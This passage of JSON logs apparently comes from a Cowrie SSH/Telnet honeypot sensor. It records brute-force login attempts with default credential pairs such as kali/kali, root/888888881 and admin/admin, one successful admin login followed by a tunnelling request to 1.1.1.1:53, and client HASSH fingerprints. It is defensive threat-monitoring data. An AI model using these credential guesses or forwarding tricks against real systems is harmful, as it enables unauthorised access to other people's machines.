0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:25.738461Z","src_ip":"192.109.200.78","session":"f75b91b8263a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:25.981978Z","src_ip":"192.109.200.78","session":"f75b91b8263a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:27.077417Z","src_ip":"192.109.200.78","session":"f75b91b8263a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":54000,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9a96fc9c30d","protocol":"ssh","message":"New connection: 92.207.4.157:54000 (159.203.135.109:22) [session: d9a96fc9c30d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:27.292560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:27.296415Z","src_ip":"92.207.4.157","session":"d9a96fc9c30d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:27.392075Z","src_ip":"92.207.4.157","session":"d9a96fc9c30d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"william","password":"william123","message":"login attempt [william/william123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:27.795591Z","src_ip":"92.207.4.157","session":"d9a96fc9c30d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":38822,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae19cc20ea6e","protocol":"ssh","message":"New connection: 103.153.68.219:38822 (159.203.135.109:22) [session: ae19cc20ea6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:28.497088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:28.499899Z","src_ip":"103.153.68.219","session":"ae19cc20ea6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:28.748111Z","src_ip":"103.153.68.219","session":"ae19cc20ea6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:28.889407Z","src_ip":"92.207.4.157","session":"d9a96fc9c30d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58560,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b5d52369d9f","protocol":"ssh","message":"New connection: 192.109.200.78:58560 (10.17.0.5:22) [session: 9b5d52369d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:28.924318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:28.927813Z","src_ip":"192.109.200.78","session":"9b5d52369d9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:29.008714Z","src_ip":"192.109.200.78","session":"9b5d52369d9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3","message":"login attempt [user3/user3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:29.455565Z","src_ip":"192.109.200.78","session":"9b5d52369d9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"888888881","message":"login attempt [root/888888881] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:29.485873Z","src_ip":"103.153.68.219","session":"ae19cc20ea6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcaa2deb2523","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (10.17.0.5:22) [session: bcaa2deb2523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:30.062289Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:30.174489Z","src_ip":"77.90.185.16","session":"bcaa2deb2523","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:30.538789Z","src_ip":"192.109.200.78","session":"9b5d52369d9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":8490,"dst_ip":"10.17.0.5","dst_port":22,"session":"123f59abbabe","protocol":"ssh","message":"New connection: 87.251.64.176:8490 (10.17.0.5:22) [session: 123f59abbabe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:30.706382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:30.710943Z","src_ip":"87.251.64.176","session":"123f59abbabe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:30.733231Z","src_ip":"103.153.68.219","session":"ae19cc20ea6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:30.807151Z","src_ip":"87.251.64.176","session":"123f59abbabe","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:31.185107Z","src_ip":"87.251.64.176","session":"123f59abbabe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:31.292865Z","session":"123f59abbabe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:31.390058Z","src_ip":"87.251.64.176","session":"123f59abbabe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:31.487444Z","src_ip":"87.251.64.176","session":"123f59abbabe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52070,"dst_ip":"10.17.0.5","dst_port":22,"session":"3778a6911bc0","protocol":"ssh","message":"New connection: 192.109.200.78:52070 (10.17.0.5:22) [session: 3778a6911bc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:32.415349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:32.423192Z","src_ip":"192.109.200.78","session":"3778a6911bc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:32.504589Z","src_ip":"192.109.200.78","session":"3778a6911bc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:32.747907Z","src_ip":"192.109.200.78","session":"3778a6911bc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:33.831131Z","src_ip":"192.109.200.78","session":"3778a6911bc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":54116,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ca26df088ab","protocol":"telnet","message":"New connection: 172.81.62.90:54116 (159.203.135.109:23) [session: 8ca26df088ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:35.051424Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52076,"dst_ip":"10.17.0.5","dst_port":22,"session":"1882103bbeb5","protocol":"ssh","message":"New connection: 192.109.200.78:52076 (10.17.0.5:22) [session: 1882103bbeb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:35.648723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:35.652085Z","src_ip":"192.109.200.78","session":"1882103bbeb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:35.732914Z","src_ip":"192.109.200.78","session":"1882103bbeb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ecommerce","password":"ecommerce","message":"login attempt [ecommerce/ecommerce] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:35.975059Z","src_ip":"192.109.200.78","session":"1882103bbeb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":60056,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c2bea00241f","protocol":"ssh","message":"New connection: 46.19.67.181:60056 (159.203.135.109:22) [session: 2c2bea00241f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:36.884522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:36.887785Z","src_ip":"46.19.67.181","session":"2c2bea00241f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:37.005219Z","src_ip":"46.19.67.181","session":"2c2bea00241f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:37.077818Z","src_ip":"192.109.200.78","session":"1882103bbeb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"260985","message":"login attempt [root/260985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:37.362558Z","src_ip":"46.19.67.181","session":"2c2bea00241f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:38.482604Z","src_ip":"46.19.67.181","session":"2c2bea00241f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52080,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca0473750896","protocol":"ssh","message":"New connection: 192.109.200.78:52080 (10.17.0.5:22) [session: ca0473750896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:38.923096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:38.926700Z","src_ip":"192.109.200.78","session":"ca0473750896","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-